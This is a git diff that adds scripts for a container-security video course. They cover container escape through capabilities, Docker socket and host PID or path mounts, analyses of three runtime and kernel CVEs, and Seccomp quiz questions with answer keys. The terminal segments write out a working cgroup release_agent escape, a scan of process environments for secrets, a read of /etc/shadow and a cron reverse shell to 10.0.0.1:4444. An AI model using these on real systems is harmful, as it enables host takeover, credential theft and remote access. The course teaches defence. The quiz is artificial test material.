Ubuntu 22.04 with Docker 24.x+ diff --git a/container-security-course/module_02_privileged_containers/video_02_script.pdf b/container-security-course/module_02_privileged_containers/video_02_script.pdf new file mode 100644 index 0000000..44c8471 Binary files /dev/null and b/container-security-course/module_02_privileged_containers/video_02_script.pdf differ diff --git a/container-security-course/module_02_privileged_containers/video_03_script.docx b/container-security-course/module_02_privileged_containers/video_03_script.docx new file mode 100644 index 0000000..739c2fd Binary files /dev/null and b/container-security-course/module_02_privileged_containers/video_03_script.docx differ diff --git a/container-security-course/module_02_privileged_containers/video_03_script.md b/container-security-course/module_02_privileged_containers/video_03_script.md new file mode 100644 index 0000000..71a3595 --- /dev/null +++ b/container-security-course/module_02_privileged_containers/video_03_script.md @@ -0,0 +1,292 @@ +# Video 2.3: Privilege Escalation and Container Escape Techniques + +**Duration:** 8:00 +**Format:** PPT (20%) / Terminal (45%) / Code Editor (25%) / Browser (10%) +**Resolution:** 1920x1080 @ 30fps +**Prerequisites:** Videos 2.1, 2.2 + +--- + +## SCRIPT BEGIN + +### [0:00–0:40] — Context: Beyond --privileged (PPT Slide) + +**SLIDE:** Title: *"Escalation Without --privileged"* +Subtitle: "Individual capabilities and misconfigurations that lead to escape" + +Attack path diagram: +``` +Default Container → Single Dangerous Capability → Escalation → Host Access + → Mounted Docker Socket → Control Plane → Host Access + → Host PID Namespace → Process Injection → Host Access + → Writable Host Path → File Manipulation → Host Access +``` + +**NARRATION:** +"In the previous lesson, we demonstrated escape from a fully privileged container. But attackers don't always get `--privileged`. In this lesson, we'll explore how individual capabilities, single misconfigurations, and specific container options can each independently lead to container escape. These are more realistic attack scenarios — the kind you'll encounter in penetration tests and real-world incidents." + +--- + +### [0:40–2:15] — Escape via CAP_SYS_ADMIN (Terminal) + +**SCREEN:** Terminal at 150% zoom + +**NARRATION:** +"The single most exploitable capability is CAP_SYS_ADMIN. Let me demonstrate." + +**COMMAND + EXPLANATION:** + +```bash +# Start a container with ONLY SYS_ADMIN added (not --privileged) +$ docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined \ + alpine sh +``` +*"This container is NOT privileged — it has only the default capabilities plus SYS_ADMIN. But watch what we can do."* + +```bash +# SYS_ADMIN allows mounting filesystems — including cgroup +/ # mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp +/ # ls /tmp/cgrp/ +``` +*"SYS_ADMIN allows the mount system call. We can mount the cgroup filesystem — the same technique from the privileged escape."* + +```bash +# Use the cgroup release_agent escape (same as Video 2.2) +/ # mkdir /tmp/cgrp/exploit +/ # echo 1 > /tmp/cgrp/exploit/notify_on_release + +# Get the container's overlay path on the host +/ # host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab) +/ # echo "$host_path/cmd" > /tmp/cgrp/release_agent + +# Create the command to execute on the host +/ # cat > /cmd << 'EOF' +#!/bin/sh +ps aux > /output +hostname >> /output +EOF +/ # chmod +x /cmd + +# Trigger it +/ # sh -c "echo \$\$ > /tmp/cgrp/exploit/cgroup.procs" + +# Read the result — host processes! +/ # cat /output +``` +*"Same escape as before — but from a container that only has SYS_ADMIN, not full privileged mode. This is why SYS_ADMIN alone is considered a container escape vector. Any container with this capability is effectively as dangerous as a privileged container."* + +--- + +### [2:15–3:45] — Escape via Docker Socket Mount (Terminal) + +**NARRATION:** +"The second most common escape vector — Docker socket mounting." + +```bash +# Start a container with the Docker socket mounted +# This is EXTREMELY common in CI/CD, monitoring tools, and management UIs +$ docker run --rm -it \ + -v /var/run/docker.sock:/var/run/docker.sock \ + docker:latest sh +``` +*"This container has the Docker socket mounted. This is done intentionally for CI/CD pipelines, monitoring agents like Portainer and Prometheus Docker exporters, and deployment tools. But it's a direct path to the host."* + +```bash +# From inside: list all containers on the host +/ # docker ps +``` +*"I can see every container running on this host."* + +```bash +# Create a new privileged container with the host filesystem +/ # docker run --rm -it --privileged -v /:/hostfs alpine sh +``` +*"I just created a new privileged container from inside this container, with the host filesystem mounted. I've escalated from 'just Docker socket access' to full privileged host access."* + +```bash +# Read host secrets from the new container +/ # cat /hostfs/etc/shadow | head -3 +``` +*"Full host compromise — achieved entirely through the mounted Docker socket. No capabilities needed, no kernel exploits, just the ability to talk to the Docker daemon."* + +```bash +# Exit both containers +/ # exit +/ # exit +``` + +**CODE EDITOR — Understanding why socket mount is dangerous:** + +```text +WHY DOCKER SOCKET MOUNT = ROOT ACCESS +========================================= + +1. Docker socket → Docker API access +2. Docker API → Can create ANY container +3. Can create container with: + a. --privileged flag + b. Host filesystem mount (-v /:/hostfs) + c. Host PID namespace (--pid=host) + d. Host network namespace (--net=host) +4. New container → Full host access +5. Therefore: Docker socket access = Root access + +COMMON SERVICES THAT MOUNT DOCKER SOCKET: +- Portainer (container management UI) +- Traefik (reverse proxy — auto-discovers services) +- Watchtower (auto-updates containers) +- CI/CD agents (Jenkins, GitLab Runner) +- Prometheus Docker exporter +- Datadog/New Relic agents +``` + +*"Here's the logic chain. Docker socket access means Docker API access. Docker API access means you can create any container with any configuration. Therefore, Docker socket access equals root access on the host. And look at this list of services that commonly mount the Docker socket — management UIs, reverse proxies, update tools, CI/CD agents, and monitoring agents. Every one of these is a potential escalation point."* + +--- + +### [3:45–5:15] — Escape via Host PID Namespace (Terminal) + +**NARRATION:** +"Next — host PID namespace sharing." + +```bash +# Start container with host PID namespace +$ docker run --rm -it --pid=host alpine sh +``` +*"The `--pid=host` flag shares the host's PID namespace with the container. Let's see what that gives us."* + +```bash +# List ALL processes — host and all containers +/ # ps aux | head -20 +``` +*"I can see every process on the host — systemd, sshd, Docker daemon, all other container processes. Full process visibility."* + +```bash +# Read environment variables of host processes +/ # cat /proc/1/environ | tr '\0' '\n' | head -10 +``` +*"I can read the environment variables of the host's init process. Let me target something more interesting."* + +```bash +# Find a process with credentials in its environment +/ # for pid in $(ls /proc/ | grep -E '^[0-9]+$'); do + env=$(cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n') + if echo "$env" | grep -qi 'password\|secret\|key\|token'; then + echo "=== PID $pid ===" + echo "$env" | grep -i 'password\|secret\|key\|token' + fi +done +``` +*"This script scans every process on the host for credential-related environment variables. In production environments, this frequently finds database passwords, API keys, and cloud credentials — because they're passed as environment variables to containerized applications."* + +```bash +# If the container also has SYS_PTRACE capability, we can inject into processes +# (Demonstrating detection, not full exploit) +$ docker run --rm -it --pid=host --cap-add=SYS_PTRACE alpine sh +/ # ls -la /proc/1/root/ +``` +*"With both host PID namespace and SYS_PTRACE, I can access the root filesystem of any process on the host via `/proc/[pid]/root/`. This effectively gives me filesystem access to the host without mounting any device."* + +--- + +### [5:15–6:30] — Escape via Writable Host Path Mounts (Terminal + Code Editor) + +**NARRATION:** +"The final escalation technique — exploiting writable host path mounts." + +```bash +# Common scenario: app writes logs to a host directory +$ docker run --rm -it -v /var/log:/app/logs alpine sh +``` +*"This looks innocent — the container writes logs to the host's /var/log. But watch what an attacker does with it."* + +```bash +# Write a cron job to the host's cron directory +/ # echo '* * * * * root bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' \ + > /app/logs/../cron.d/backdoor +``` +*"Using path traversal relative to the mounted directory, I wrote a reverse shell cron job to the host's /var/cron.d/. This executes on the host every minute."* + +```bash +# Exit +/ # exit +``` + +**CODE EDITOR — More host path exploitation techniques:** + +```bash +# TECHNIQUE: Exploiting /var/run mount +# If /var/run is mounted (common for shared socket access) +docker run --rm -it -v /var/run:/var/run alpine sh +# Container now has access to Docker socket via /var/run/docker.sock + +# TECHNIQUE: Exploiting /etc mount +# If /etc is mounted (common for config sharing) +docker run --rm -it -v /etc:/host-etc alpine sh +# Attacker modifies /host-etc/passwd to add a backdoor user +# Attacker modifies /host-etc/crontab for persistence +# Attacker modifies /host-etc/ssh/sshd_config to weaken SSH + +# TECHNIQUE: Exploiting /tmp mount +# If /tmp is shared between container and host +docker run --rm -it -v /tmp:/tmp alpine sh +# Attacker places exploit binaries in /tmp +# If any host process executes from /tmp → compromised + +# SAFE ALTERNATIVE: Use named volumes +docker run --rm -it -v app-logs:/app/logs alpine sh +# Named volumes are managed by Docker and isolated from host paths +``` + +**NARRATION:** +*"Any writable host path mount is a potential escalation vector. The `/var/run` directory often contains the Docker socket. The `/etc` directory allows modifying system configuration. Even `/tmp` can be exploited if host processes execute from it. The safe alternative is to use named volumes — which Docker manages and isolates — instead of host path mounts. When host paths are absolutely necessary, mount them read-only with `:ro`."* + +--- + +### [6:30–7:15] — Escape Technique Summary (PPT Slide) + +**SLIDE:** Title: *"Container Escape — Technique Matrix"* + +| Technique | Required Config | Complexity | Detection Difficulty | +|-----------|----------------|------------|---------------------| +| Privileged + mount disk | `--privileged` | Low | Medium | +| Cgroup release_agent | `--privileged` or `SYS_ADMIN` | Low | Medium | +| Docker socket mount | `-v docker.sock` | Very Low | Low (audit mounts) | +| Host PID + SYS_PTRACE | `--pid=host --cap-add=SYS_PTRACE` | Medium | Medium | +| Host path traversal | `-v /host/path:/container/path` | Low | High | +| Kernel exploit | Default container | High | High | + +**NARRATION:** +"Here's the complete matrix. Notice that most escape techniques require LOW complexity — they're not sophisticated attacks. The most dangerous — Docker socket mount — requires almost no skill at all. The attacker just uses standard Docker commands. Kernel exploits are the only technique that works from a default, non-misconfigured container, and they require high skill. The lesson is clear: most container escapes are caused by misconfiguration, not by exploiting vulnerabilities. Fix the configuration, and you eliminate the majority of escape vectors." + +--- + +### [7:15–8:00] — Key Takeaways and Bridge (PPT Slide) + +**SLIDE:** Title: *"Key Takeaways"* + +1. **CAP_SYS_ADMIN alone** is enough for container escape +2. **Docker socket mount** = immediate, trivial root access +3. **Host PID namespace** exposes all process data including credentials +4. **Writable host paths** can be exploited for persistence and escalation +5. **Most escapes are misconfiguration** — not vulnerability exploitation +6. **Defense:** Principle of least privilege at every layer + +**NARRATION:** +"Every technique in this lesson exploits a misconfiguration — not a CVE. SYS_ADMIN alone is an escape vector. Docker socket mounting is the most common and most trivial. Host PID namespace leaks credentials from all processes. And writable host paths enable persistence. In our final lesson for this module, we'll shift to real CVE analysis — examining the vulnerabilities that allow escape from properly configured containers. These are rarer, more complex, and more valuable to understand." + +**SLIDE:** *"Next: Real-World CVE Analysis and Exploitation →"* + +--- + +## SCRIPT END + +### Post-Production Notes +- Add persistent "⚠️ LAB ENVIRONMENT" overlay during all terminal segments +- For the Docker socket escape, use a visual diagram overlay showing the escalation chain +- The credential scanning loop should show redacted but realistic-looking output +- Path traversal technique should have the dangerous path highlighted in red +- The technique matrix table should animate in row by row +- Use different terminal colors/prompts to clearly differentiate which container the user is in +- The code editor segments should use syntax highlighting for bash +- Add ethical hacking disclaimer at beginning and end of video diff --git a/container-security-course/module_02_privileged_containers/video_03_script.pdf b/container-security-course/module_02_privileged_containers/video_03_script.pdf new file mode 100644 index 0000000..bac2169 Binary files /dev/null and b/container-security-course/module_02_privileged_containers/video_03_script.pdf differ diff --git a/container-security-course/module_02_privileged_containers/video_04_script.docx b/container-security-course/module_02_privileged_containers/video_04_script.docx new file mode 100644 index 0000000..dfe9c72 Binary files /dev/null and b/container-security-course/module_02_privileged_containers/video_04_script.docx differ diff --git a/container-security-course/module_02_privileged_containers/video_04_script.md b/container-security-course/module_02_privileged_containers/video_04_script.md new file mode 100644 index 0000000..1de29c0 --- /dev/null +++ b/container-security-course/module_02_privileged_containers/video_04_script.md @@ -0,0 +1,357 @@ +# Video 2.4: Real-World CVE Analysis and Exploitation + +**Duration:** 8:30 +**Format:** PPT (20%) / Terminal (35%) / Code Editor (25%) / Browser (20%) +**Resolution:** 1920x1080 @ 30fps +**Prerequisites:** Videos 2.1–2.3 + +--- + +## SCRIPT BEGIN + +### [0:00–0:40] — Opening: Why CVEs Matter (PPT Slide) + +**SLIDE:** Title: *"Beyond Misconfiguration — Real Vulnerabilities"* +Three CVEs highlighted: +- CVE-2019-5736 (runc) — Runtime binary overwrite +- CVE-2020-15257 (containerd) — Host networking escape +- CVE-2022-0185 (Linux kernel) — Filesystem context overflow + +**NARRATION:** +"In the previous lessons, we exploited misconfigurations — privileged flags, socket mounts, capability grants. But what about properly configured containers? Can an attacker escape a default, non-privileged container? The answer is yes — through vulnerabilities in the container runtime, the kernel, or the orchestration layer. In this lesson, we'll analyze three CVEs that allowed real container escapes from non-privileged configurations. For each one, we'll understand the vulnerability, trace the exploit chain, and discuss how it was detected and patched." + +--- + +### [0:40–2:45] — CVE-2019-5736: The runc Escape (Browser + Code Editor + Terminal) + +**BROWSER:** Navigate to `https://nvd.nist.gov/vuln/detail/CVE-2019-5736` + +**NARRATION:** +"CVE-2019-5736 — disclosed in February 2019, CVSS 8.6. This is the most significant container escape CVE ever published. It affected runc — the low-level container runtime that Docker, Kubernetes, and nearly every container platform depends on. Any container runtime using runc versions below 1.0-rc6 was vulnerable. That was effectively the entire container ecosystem." + +*"Let me read the key detail from the advisory: 'runc allows attackers to overwrite the host runc binary and consequently obtain host root access.' The attacker crafts a malicious container — or gains shell access in a running container — and when `docker exec` is used to enter the container, the exploit overwrites the runc binary on the host."* + +**CODE EDITOR — CVE-2019-5736 Exploit Flow at 150% zoom:** + +```text +CVE-2019-5736 — EXPLOIT CHAIN +================================ + +VULNERABILITY: +- runc did not properly handle /proc/self/exe during container exec +- /proc/self/exe is a symlink to the running binary +- Inside a container, /proc/self/exe points to the runc binary on the HOST + +EXPLOIT FLOW: + +1. Attacker creates a malicious container image with a custom entrypoint + - OR gains shell access to a running container + +2. Malicious entrypoint (or attacker) does the following: + a. Opens /proc/self/exe for writing + (This is a file descriptor to the HOST's runc binary) + + b. Replaces the entrypoint with a script that: + - Continuously tries to open /proc/self/exe + - When docker exec runs, runc re-enters the container + - The open file descriptor now points to host's runc binary + + c. Writes a malicious payload to the file descriptor + (Overwrites host's /usr/bin/runc) + +3. Next time ANY container operation runs on this host: + - Docker calls the (now malicious) runc binary + - Attacker's code runs AS ROOT ON THE HOST + - Every subsequent container start/exec runs attacker code + +IMPACT: +- Complete host compromise +- Persistent backdoor via binary replacement +- ALL containers on host are compromised +- Works from a default, non-privileged container +``` + +**NARRATION:** +*"Let me trace this step by step. The vulnerability is in how runc handles the `/proc/self/exe` symlink. Inside a container, this symlink points back to the runc binary on the host — because runc is the process that created the container. The exploit opens this file descriptor, waits for a `docker exec` command, and then overwrites the host's runc binary through that file descriptor. From that point forward, every container operation on the host executes the attacker's code. This is a single container compromising the entire host — permanently — until the runc binary is replaced."* + +**TERMINAL:** + +```bash +# Check if your runc version is vulnerable +$ runc --version +runc version 1.1.12 +commit: v1.1.12-0-g51d5e94 +spec: 1.0.2-dev +``` +*"Current versions are patched. Versions below 1.0-rc6 were vulnerable. Let me show you the fix."* + +```bash +# The fix: runc is now cloned to a memfd before exec +# Check the protection +$ grep -r "memfd_create\|proc_self_exe" /usr/bin/runc 2>/dev/null +# (binary file, but the fix uses memfd_create to create a sealed copy) +``` +*"The fix was elegant — runc now creates a sealed, in-memory copy of itself using `memfd_create` before entering the container. The container process can no longer access the original binary through `/proc/self/exe`. The symlink now points to the in-memory copy, which is sealed and cannot be written to."* + +--- + +### [2:45–4:45] — CVE-2020-15257: containerd Host Networking Escape (PPT + Code Editor + Terminal) + +**SLIDE:** Title: *"CVE-2020-15257 — containerd Escape via Host Networking"* + +| Field | Detail | +|-------|--------| +| **Affected** | containerd < 1.3.9, < 1.4.3 | +| **CVSS** | 5.2 (Medium) — but practical impact is Critical | +| **Vector** | Containers with host network namespace | +| **Requirement** | Container running with `--net=host` | +| **Impact** | Full containerd API access → host compromise | + +**NARRATION:** +"CVE-2020-15257 targeted containerd — the container runtime that sits between Docker and runc. The vulnerability: when a container used the host network namespace with `--net=host`, it could access the containerd control socket — which is an abstract Unix socket that's visible in the host network namespace. Through this socket, an attacker could call containerd's API to start new containers with arbitrary configurations — including privileged containers with host filesystem mounts." + +**CODE EDITOR — CVE-2020-15257 Exploit Flow:** + +```text +CVE-2020-15257 — EXPLOIT CHAIN +================================= + +PREREQUISITE: Container running with --net=host + +VULNERABILITY: +- containerd's gRPC API listens on an abstract Unix socket +- Abstract Unix sockets are NOT isolated by mount namespaces +- They ARE visible to any process in the same NETWORK namespace +- --net=host shares the host network namespace → socket is accessible + +EXPLOIT FLOW: + +1. Attacker is inside a container with --net=host + $ docker run --rm -it --net=host alpine sh + +2. Attacker locates the containerd abstract socket: + $ cat /proc/net/unix | grep containerd + # Found: @/run/containerd/containerd.sock + +3. Attacker connects to containerd's gRPC API using ctr or custom code: + # Abstract socket path: \0/run/containerd/containerd.sock + # (leading null byte = abstract socket) + +4. Through the API, attacker can: + a. List all containers and their configurations + b. Read container filesystem snapshots + c. Start a NEW privileged container with host mounts + d. Execute commands in any running container + +5. Attacker starts privileged container: + $ ctr run --privileged --mount type=bind,src=/,dst=/hostfs ... + +6. Full host access achieved + +KEY INSIGHT: +- This exploits a NAMESPACE CONFUSION — mount isolation doesn't + apply to abstract Unix sockets; only network isolation does +- --net=host removes that last barrier +``` + +**NARRATION:** +*"The key insight is namespace confusion. Abstract Unix sockets — unlike regular Unix sockets — are not isolated by mount namespaces. They live in the network namespace. When a container shares the host network namespace, it can access any abstract socket the host can — including containerd's control API. It's a subtle interaction between namespace types that created a security gap."* + +**TERMINAL:** + +```bash +# Demonstrate: default container cannot see host abstract sockets +$ docker run --rm alpine sh -c 'cat /proc/net/unix | wc -l' +# Very few entries +``` +*"In a default container with its own network namespace — very few Unix sockets visible."* + +```bash +# With host networking — all host abstract sockets are visible +$ docker run --rm --net=host alpine sh -c 'cat /proc/net/unix | wc -l' +# Many more entries — all host sockets visible +``` +*"With `--net=host` — every abstract socket on the host is visible. This is the exposure window. The fix was to restrict containerd's socket access using additional authentication, and to move away from abstract sockets."* + +```bash +# Check your containerd version +$ containerd --version +containerd containerd.io 1.7.12 +``` +*"Current versions are patched. But the lesson is important: `--net=host` is more dangerous than most people realize — it doesn't just share the network stack, it exposes inter-process communication channels."* + +--- + +### [4:45–6:30] — CVE-2022-0185: Kernel Escape via Filesystem Context (PPT + Code Editor + Terminal) + +**SLIDE:** Title: *"CVE-2022-0185 — Linux Kernel Container Escape"* + +| Field | Detail | +|-------|--------| +| **Affected** | Linux kernel 5.1 through 5.16.2 | +| **CVSS** | 8.4 (High) | +| **Vector** | Heap overflow in legacy_parse_param() | +| **Requirement** | CAP_SYS_ADMIN in current or initial user namespace | +| **Impact** | Kernel memory corruption → root on host | + +**NARRATION:** +"CVE-2022-0185 is a kernel-level vulnerability — the kind that can defeat even properly configured containers. It's a heap-based buffer overflow in the `legacy_parse_param` function in the Linux kernel's filesystem context handling. Any process with CAP_SYS_ADMIN — including unprivileged user namespace processes on some configurations — could trigger it." + +**CODE EDITOR — CVE-2022-0185 Technical Analysis:** + +```text +CVE-2022-0185 — TECHNICAL ANALYSIS +===================================== + +VULNERABILITY: +- In Linux filesystem context API (fsconfig syscall) +- legacy_parse_param() function didn't validate string length +- Heap buffer overflow when parsing filesystem parameters +- Corrupts adjacent kernel heap objects + +TRIGGER CONDITION: +- Call fsconfig() with a crafted parameter exceeding buffer bounds +- Requires CAP_SYS_ADMIN in the INITIAL user namespace + (or in a user namespace if unprivileged user namespaces are enabled) + +EXPLOIT STRATEGY: +1. Spray the kernel heap with controlled objects + (e.g., msg_msg structures via msgsnd) + +2. Trigger the overflow to corrupt adjacent heap objects + (overwrite msg_msg.m_ts field to enable OOB read) + +3. Use corrupted msg_msg for information leak + (leak kernel addresses to defeat KASLR) + +4. Perform a second heap spray + overflow + (target modprobe_path or cred structure) + +5. Overwrite modprobe_path to point to attacker-controlled script + (OR directly modify current process credentials) + +6. Trigger modprobe execution (e.g., by exec'ing unknown binary format) + → Attacker's script runs as root on the host + +TIMELINE: +- Jan 18, 2022: CVE published +- Jan 20, 2022: Patch released (kernel 5.16.2) +- Jan 25, 2022: Public exploit POC released +- 7 DAYS from disclosure to weaponized exploit +``` + +**NARRATION:** +*"The exploit is sophisticated but well-documented. It uses heap spraying — filling kernel memory with controlled objects — then triggers the overflow to corrupt an adjacent message queue structure. This corrupted structure allows out-of-bounds reads, which leak kernel addresses to defeat KASLR. Then a second overflow targets `modprobe_path` — a kernel string that controls which binary runs when the kernel needs to load a module. By pointing it to an attacker-controlled script, the next time any process executes an unknown binary format, the attacker's script runs as root. The entire chain — from initial overflow to root code execution on the host — is achievable from inside a container. The public exploit PoC was available within seven days of disclosure."* + +**TERMINAL:** + +```bash +# Check if your kernel is vulnerable +$ uname -r +5.15.0-92-generic +``` + +```bash +# Check the specific fix +$ grep -r "legacy_parse_param" /usr/src/linux-headers-$(uname -r)/ 2>/dev/null | head -5 +``` +*"The fix added proper length validation to `legacy_parse_param`. But the critical lesson is this: for kernel vulnerabilities, the only fix is kernel patching. No container configuration change, no Seccomp profile, no AppArmor policy can fix a bug in a kernel function that your allowed system calls depend on."* + +```bash +# Mitigation: disable unprivileged user namespaces (reduces attack surface) +$ sysctl kernel.unprivileged_userns_clone +# If this is 1, unprivileged users can create user namespaces +# Set to 0 to reduce CVE-2022-0185 exposure from non-privileged containers +$ sudo sysctl -w kernel.unprivileged_userns_clone=0 +``` +*"One mitigation — disable unprivileged user namespace creation. This reduces the attack surface because the exploit requires CAP_SYS_ADMIN, which unprivileged processes can obtain through user namespaces. Without user namespaces, only already-privileged containers are exposed."* + +--- + +### [6:30–7:30] — CVE Comparison and Lessons (PPT Slide) + +**SLIDE:** Title: *"Three CVEs — Three Attack Layers"* + +| Dimension | CVE-2019-5736 | CVE-2020-15257 | CVE-2022-0185 | +|-----------|---------------|----------------|---------------| +| **Layer** | Container runtime (runc) | Container manager (containerd) | Linux kernel | +| **Requirement** | Any container | `--net=host` | CAP_SYS_ADMIN | +| **Complexity** | Medium | Medium | High | +| **Time to Exploit** | Weeks | Weeks | 7 days | +| **Persistence** | Binary replacement | New container | Kernel memory | +| **Fix** | Update runc | Update containerd | Patch kernel + reboot | +| **Seccomp helps?** | No (uses allowed syscalls) | No (network-level) | Partially (could block fsconfig) | +| **Detection** | Binary integrity monitoring | Socket access logging | Kernel exploit detection | + +**NARRATION:** +"Three CVEs, three different layers of the container stack. CVE-2019-5736 attacked the runtime — the binary that creates containers. CVE-2020-15257 attacked the container manager — the service that coordinates runtimes. CVE-2022-0185 attacked the kernel — the shared foundation everything runs on. Each required a different fix, a different detection strategy, and a different mitigation approach. This is why container security requires defense-in-depth — you need protection at every layer because vulnerabilities can appear at any layer." + +--- + +### [7:30–8:10] — Building a CVE Response Strategy (Code Editor) + +**CODE EDITOR — Container CVE Response Checklist:** + +```markdown +# Container CVE Response Playbook + +## Immediate Actions (< 1 hour) +1. Identify affected component (runtime, kernel, library) +2. Check installed versions across all hosts +3. Assess exposure: which containers/hosts are vulnerable? +4. Apply available mitigations (disable features, restrict access) + +## Short-term Actions (< 24 hours) +5. Test patches in staging environment +6. Deploy patches to production +7. If kernel CVE: schedule rolling reboots +8. Scan for indicators of compromise (IOCs) + +## Ongoing Actions +9. Subscribe to security advisories: + - runc: github.com/opencontainers/runc/security + - containerd: github.com/containerd/containerd/security + - Linux kernel: lkml.org + distribution advisories + - Docker: docs.docker.com/engine/security +10. Maintain a container bill of materials (BOM) +11. Automate vulnerability scanning in CI/CD pipeline +12. Run regular container escape detection tests +``` + +*"Here's a response playbook. Immediate — identify what's affected and apply mitigations. Short-term — test and deploy patches, check for compromise. Ongoing — subscribe to advisories, maintain a bill of materials, automate scanning, and test your defenses. This playbook should be part of your incident response plan."* + +--- + +### [8:10–8:30] — Module 2 Wrap-Up (PPT Slide) + +**SLIDE:** Title: *"Module 2 — Complete"* + +What you now understand: +- ✅ Privileged containers disable all security mechanisms +- ✅ Host compromise from privileged containers in under 3 minutes +- ✅ Multiple escape techniques from individual misconfigurations +- ✅ Real CVEs that bypass even properly configured containers +- ✅ CVE response and detection strategies + +What's next: +- 🔜 Module 3: System Call Filtering with Seccomp +- 🔜 You'll build the defenses against these attacks + +**NARRATION:** +"That completes Module 2. You've seen the offensive side — how containers are compromised through misconfigurations and real vulnerabilities. You can demonstrate these techniques in lab environments, explain them to stakeholders, and detect them in production. Starting in Module 3, we shift to defense — building Seccomp profiles that restrict the system call surface we've been exploiting throughout this module. Complete the module assessment, and I'll see you in Module 3." + +--- + +## SCRIPT END + +### Post-Production Notes +- CVE browser pages should be pre-loaded and zoomed to 150% +- The exploit flow diagrams in the code editor should be revealed step by step +- For CVE-2019-5736, include an animated diagram showing the /proc/self/exe symlink chain +- For CVE-2022-0185, include a simplified heap memory diagram showing the overflow +- The CVE comparison table should animate column by column +- Add "⚠️ LAB ENVIRONMENT" overlay during all terminal demonstrations +- End with module completion animation and assessment reminder +- The response playbook should be available as a downloadable resource +- Total module time check: Summary (2:30) + V1 (8:00) + V2 (8:00) + V3 (8:00) + V4 (8:30) = 35:00 — within 25-30 min target when accounting for summary being separate. Adjust if needed. +- NOTE: Combined lesson time is 32:30 (excluding summary). This slightly exceeds the 25-30 min target. Consider trimming Video 2.4 CVE analysis by 2-3 minutes if needed to stay within bounds, or accept the overage given the depth of material. diff --git a/container-security-course/module_02_privileged_containers/video_04_script.pdf b/container-security-course/module_02_privileged_containers/video_04_script.pdf new file mode 100644 index 0000000..bc7d1c4 Binary files /dev/null and b/container-security-course/module_02_privileged_containers/video_04_script.pdf differ diff --git a/container-security-course/sample_module/module_questions.docx b/container-security-course/sample_module/module_questions.docx new file mode 100644 index 0000000..a0dae10 Binary files /dev/null and b/container-security-course/sample_module/module_questions.docx differ diff --git a/container-security-course/sample_module/module_questions.md b/container-security-course/sample_module/module_questions.md new file mode 100644 index 0000000..1407d03 --- /dev/null +++ b/container-security-course/sample_module/module_questions.md @@ -0,0 +1,279 @@ +# Module 3: Seccomp Profiles - Assessment Questions + +## Module-Level Questions (3 MCQs) + +### Question 1: Seccomp Fundamentals + +**Question:** +What is the primary function of Seccomp (Secure Computing Mode) in container security? + +**A)** To encrypt all data transmitted between containers +**B)** To filter and restrict which system calls a process can make to the kernel +**C)** To isolate container networks from the host network +**D)** To scan container images for known vulnerabilities + +**Correct Answer:** B + +**Explanation:** +Seccomp (Secure Computing Mode) is a Linux kernel feature that filters system calls at the boundary between user space and kernel space. When a process attempts to make a system call, Seccomp checks it against a defined profile and either allows it, blocks it with an error, or logs it. This dramatically reduces the attack surface by preventing compromised containers from executing dangerous kernel operations. + +**Why other options are incorrect:** +- **A** is incorrect because Seccomp does not handle encryption; it filters syscalls. +- **C** is incorrect because network isolation is handled by network namespaces and network policies, not Seccomp. +- **D** is incorrect because image vulnerability scanning is done by tools like Trivy or Grype, not Seccomp. + +**Learning Objective Tested:** Explain how Seccomp filters system calls at the kernel level + +--- + +### Question 2: Custom Seccomp Profiles + +**Question:** +You are creating a custom Seccomp profile for an nginx web server. After capturing syscalls with strace, you build a profile with 45 allowed syscalls. When you test the profile, nginx starts successfully but fails to serve HTTP requests with "Connection refused" errors. Which of the following is the MOST likely cause? + +**A)** The `read` and `write` syscalls are missing from the profile +**B)** The `socket`, `bind`, `listen`, or `accept` syscalls are missing from the profile +**C)** The `defaultAction` is set to `SCMP_ACT_ALLOW` instead of `SCMP_ACT_ERRNO` +**D)** The profile includes too many syscalls, causing a conflict + +**Correct Answer:** B + +**Explanation:** +When nginx starts successfully but cannot serve HTTP requests, the most likely cause is missing networking-related syscalls. The syscalls `socket`, `bind`, `listen`, and `accept`/`accept4` are essential for creating server sockets, binding to ports, listening for connections, and accepting incoming requests. If these are blocked, nginx can start (which uses different syscalls) but cannot establish network connections. + +**Why other options are incorrect:** +- **A** is incorrect because while `read` and `write` are needed for I/O, their absence would cause different errors (nginx couldn't read config files or wouldn't start at all). +- **C** is incorrect because if `defaultAction` were `SCMP_ACT_ALLOW`, everything would be allowed, and the profile would effectively be disabled—nginx would work. +- **D** is incorrect because Seccomp profiles don't conflict based on quantity; more allowed syscalls means less restriction, not more errors. + +**Troubleshooting Tip:** Use `ausearch -m SECCOMP -ts recent` to check audit logs for blocked syscalls, or run with `SCMP_ACT_LOG` to identify missing syscalls without breaking functionality. + +**Learning Objective Tested:** Debug and troubleshoot Seccomp-related application failures + +--- + +### Question 3: Seccomp Actions and Security + +**Question:** +You are reviewing a Seccomp profile for a production Python application. The profile contains the following configuration: + +```json +{ + "defaultAction": "SCMP_ACT_LOG", + "syscalls": [ + { + "names": ["exit", "exit_group", "read", "write"], + "action": "SCMP_ACT_ALLOW" + } + ] +} +``` + +What is the security implication of this profile in a production environment? + +**A)** The profile provides strong security by blocking all syscalls except the four explicitly allowed +**B)** The profile provides no actual security enforcement and is only suitable for development/testing +**C)** The profile will cause the application to crash when it attempts any syscall outside the allowed list +**D)** The profile is invalid and will be rejected by the container runtime + +**Correct Answer:** B + +**Explanation:** +The `defaultAction` is set to `SCMP_ACT_LOG`, which means that syscalls NOT in the allowed list will be permitted but logged to the audit system. This action is used for monitoring and development purposes to discover which syscalls an application uses without blocking them. In production, you should use `SCMP_ACT_ERRNO` (return error) or `SCMP_ACT_KILL` (terminate process) as the default action to actually enforce security restrictions. + +**Why other options are incorrect:** +- **A** is incorrect because `SCMP_ACT_LOG` does not block syscalls; it only logs them while allowing them to execute. +- **C** is incorrect because the application will NOT crash—`SCMP_ACT_LOG` allows all syscalls to proceed. +- **D** is incorrect because this is a valid Seccomp profile format; `SCMP_ACT_LOG` is a legitimate action type. + +**Best Practice:** Use `SCMP_ACT_LOG` in staging/development to build comprehensive profiles, then switch to `SCMP_ACT_ERRNO` for production enforcement. + +**Learning Objective Tested:** Apply Seccomp profiles in production environments and understand different action types + +--- + +## Final Assessment Questions (2 MCQs - Comprehensive) + +### Question 4: Integrated Container Security Strategy + +**Question:** +Your organization runs a microservices architecture on Kubernetes with strict security requirements. You've implemented the following controls: + +1. Custom Seccomp profiles 